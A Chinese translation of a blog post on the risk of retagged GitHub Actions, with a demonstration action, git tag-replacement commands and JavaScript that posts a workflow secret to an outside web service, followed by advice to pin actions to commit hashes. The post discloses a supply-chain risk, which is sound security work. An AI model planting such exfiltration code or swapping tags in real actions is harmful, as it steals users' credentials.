GitHub 的 action 中有可能插入了惡意代碼,即便有些加了標籤。
作者 | Julien Renaux
一切始於12月中旬我發佈的一條推文:
我有一種預感,使用從Github marketplace中找到的Actions有可能會洩露敏感數據,例如訪問令牌等。
問題
你可以在GitHub 的 Marketplace 發現很多流行的 Action,而它們在執行任務時都需要秘鑰。
例如,如果想構建一個 Docker 鏡像併發布到鏡像倉庫,你可以使用Action:elgohr/Publish-Docker-Github-Action。這是執行這類任務時最受歡迎的action,但它不是GitHub創建的,也並非由GitHub維護。
仔細閱讀這個action的文檔,你會發現它需要 docker 鏡像倉庫的用戶名和密碼。
<code>- name: Publish to Registry
uses: elgohr/Publish-Docker-Github-Action@master
with:
name: myDocker/repository
username: ${{ secrets.DOCKER_USERNAME }}
password: ${{ secrets.DOCKER_PASSWORD }}/<code>
我們中有多少人會去查看action的代碼,檢查其中是否包含惡意代碼?我猜沒有人會這麼做。我們都會自動相信作者。
想象一下,幾年來GitHub上成千上萬的工作流程都是用了這個 action。
如果我們信賴的這位作者決定讓其他人來負責這些代碼的後續支持(開源行業經常會發生這種事情),那麼將來會發生什麼?
任何一個維護人員都可以更新分支或標籤
這就是問題所在!
為了向你展示這個問題,我創建了一個action:shprink/nonharmful-and-must-have-actions。這個action看起來很合法,名字似乎也值得信賴。
使用它的時候,你需要傳入一個密鑰:
<code>- uses: shprink/nonharmful-and-must-have-actions@v1
with:
my-secret: ${{ secrets.YOUR_SECRET }}/<code>
代碼(見下文)其實什麼都沒有幹,它獲取了密鑰,然後幹了一些合法的事情(發佈docker鏡像、npm包等)。
<code>try {
const mySecret = core.getInput("my-secret");
console.log(`DO SOMETHING REALLY COOL WITH THE SECRET FOR YEARS`);
} catch (error) {
core.setFailed(error.message);
}/<code>
這個 action 被標記為v1。 不幸的是,標籤可以用Git進行替換。
為此,首先你需要在本地刪除這個標籤,然後通過如下命令遠程刪除它:
<code>$ git tag -d v1
$ git push --delete origin v1/<code>
接下來,我們可以添加惡意代碼,例如將密鑰發送到Web服務:
<code>try {
const mySecret = core.getInput("my-secret");
console.log(`ATTEMPTING TO STORE THE SECRET VIA AN HTTP CALL`);
request.post(
"https://jsonplaceholder.typicode.com/posts",
{
json: {
title: "store my stolen secret somewhere",
body: mySecret,
userId: 1
},
headers: { "Content-type": "application/json; charset=UTF-8" }
},
(error, res, body) => {
if (error) {
console.error(error);
return;
}
console.log(`SUCCESSFULLY STORE SOMEONE SECRET`, res.statusCode, body);
}
);
} catch (error) {
core.setFailed(error.message);
}/<code>
當 action 的用戶重新運行他們的工作流程時,他們將使用“新” v1,因此他們寶貴的密鑰就會被洩露。
、
解決方案:使用提交哈希作為版本
正如GitHub上的@AlainHelaili在Twitter上提到的那樣,你不應該checkout分支或標籤(這兩者都不安全),你應該checkout提交哈希:
每個哈希都是唯一的,而且你不能使用同一個SHA-1重寫歷史記錄。
這是一個很好的解決方案,但是我沒有看到任何文檔鼓勵這種做法。我看過的所有文檔都使用分支或標籤…
從歷史教訓中學習經驗
不久前,NPM的left-pad出現了完全相同的問題,該軟件包從npm倉庫中撤下後,整個互聯網都被破壞。
沒過多久,npm就決定修改撤銷政策。
修改後的原則是,24小時之後不能撤銷某個版本,而且也不能替換以前用過的標籤。
我認為GitHub應該遵循相同的方式,防止用戶取消版本發佈或替換標籤。
原文:https://julienrenaux.fr/2019/12/20/github-actions-security-risk/
本文為 CSDN 翻譯,轉載請註明來源出處。
☞達摩院十大科技趨勢發佈:2020 非同小可!
閱讀更多 CSDN 的文章